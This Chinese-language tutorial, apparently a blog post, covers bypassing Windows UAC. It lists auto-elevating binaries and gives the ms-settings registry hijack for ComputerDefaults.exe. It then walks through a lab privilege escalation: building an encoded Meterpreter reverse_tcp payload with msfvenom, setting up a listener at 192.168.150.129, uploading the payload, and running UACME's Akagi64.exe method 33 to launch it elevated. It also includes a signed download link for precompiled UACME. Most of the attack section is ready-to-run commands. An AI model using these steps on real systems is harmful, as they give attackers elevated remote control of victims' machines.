UAC白名单
即不询问直接启动的应用,如 slui.exe、wusa.exe、taskmgr.exe、msra.exe、 eudcedit.exe、eventvwr.exe.、CompMgmtLauncher.exe、 rundll32.exe、 explorer.exe等
白名单程序特性:Manifest 数据中 autoElevate 属性的值为 True;可以用Sigcheck检测。
UAC绕过
以ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe
找出所有具有autoElevate 属性的程序并定向输出到
strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > 1.txt
以ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe使用进程监控器 process monitor 监控 ComputerDefaults.exe 进程的所有操作行为
添加注册表
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /freg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
工具
官网地址(下载慢)
国内地址(下载快)
https://download.csdn.net/download/m0_65554829/88547642
利用UACME提权
gethub地址:https://github.com/hfiref0x/UACME/releases/tag/v3.6.5
私人地址:直接下载链接https://dl-download.csdn.net/down11/20231117/f8e7781624a66d6da9f3aa87a9831e28.zip?Expires=1700230423&OSSAccessKeyId=STS.NTSjB9EvV4Wkv8XYapjniF2VB&Signature=jZr3NJnxc%2FyHFi9opG%2BI3ieHy4s%3D&response-content-disposition=attachment%3Bfilename%3D%22UACME-3.6.3%2520%25E5%25B7%25B2%25E7%25BC%2596%25E8%25AF%2591.zip%22&Date=1700230423&security-token=CAISgwJ1q6Ft5B2yfSjIr5fmIfiNqKl3g5WAdB7pvWElZuFFqff9oDz2IHxFf3FoCOEYv%2Fk1nWlU6%2FoTlqF%2FTIBDQUvNYZPPSiHRJFrzDbDasumZsJYw6vT8a1fxZjf%2F2MjNGaCbKPrWZvaqbX3diyZ32sGUXD6%2BXlujQ%2BDr6Zl8dYY4UxX6D1tBH8wEAgp5tI1gQhm3D%2Fu2NQPwiWf9FVdhvhEG6Vly8qOi2MaRmHG85R%2FYsrZJ%2FtuvecD%2FMJI3Z8kvC4uPsbYoJvab4kl58ANX8ap6tqtA9Arcs8uVa1sruEnXaLKMo4wxfVIjP%2FFmRvIVtprnieY9tuiWkJ%2Fs25qImF%2BBkY61GoABrSvSxqN%2BO2SKDSI3ekkKA1i9Da7Vb8LjUDMiDPrdLALwtIOSkNTZC0QoVf4%2B7g3mqTCNTJX%2BsdEFlZDDzBnZJwnYu4g4ITkhSgknKJexR0n6GcNjC6mme3257nISthAe2YDb4JJQcHsc5y5Xb0f8KwDe2l5lkhmhQk2JhT6g2AQgAA%3D%3D
工具介绍
UACME是一个专用于绕过Windows UAC的开源项目,目前已包含了70多种Bypass UAC的方法。
步骤
环境搭建
net user test1 /add
net localgroup administrators test1 /add
钓鱼绕过提权
#将MSF生成的payload.exe上传到目标服务器并运行payload.exe
msfconsole
#在msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 8888
rungetuid
shell
chcp 65001
net user test1
#尝试添加用户#失败
net user test2 /add
upload ~/upgrade/UACME-3.6.3 c:/phpstudy_pro/WWW/pikachu/vul/rce/uac
#生成一个新木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.129 lport=7777 -i 3 -e x86/shikata_ga_nai -f exe -o 7777.exe
#上传木马
upload ~/7777.exe ./
upload ~/upgrade/Akagi64.exe ./
#进入shell
shell
chcp 65001
#另开一个终端设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 7777
run#运行木马
.\Akagi64.exe 33 .\7777.exe
akagi.exe [Key] [Param]#Key ,指定要使用的方法的编号#Param ,指定绕过 UAC 后要运行的程序或命令,默认启动一个关闭了 UAC 的 CMD 窗口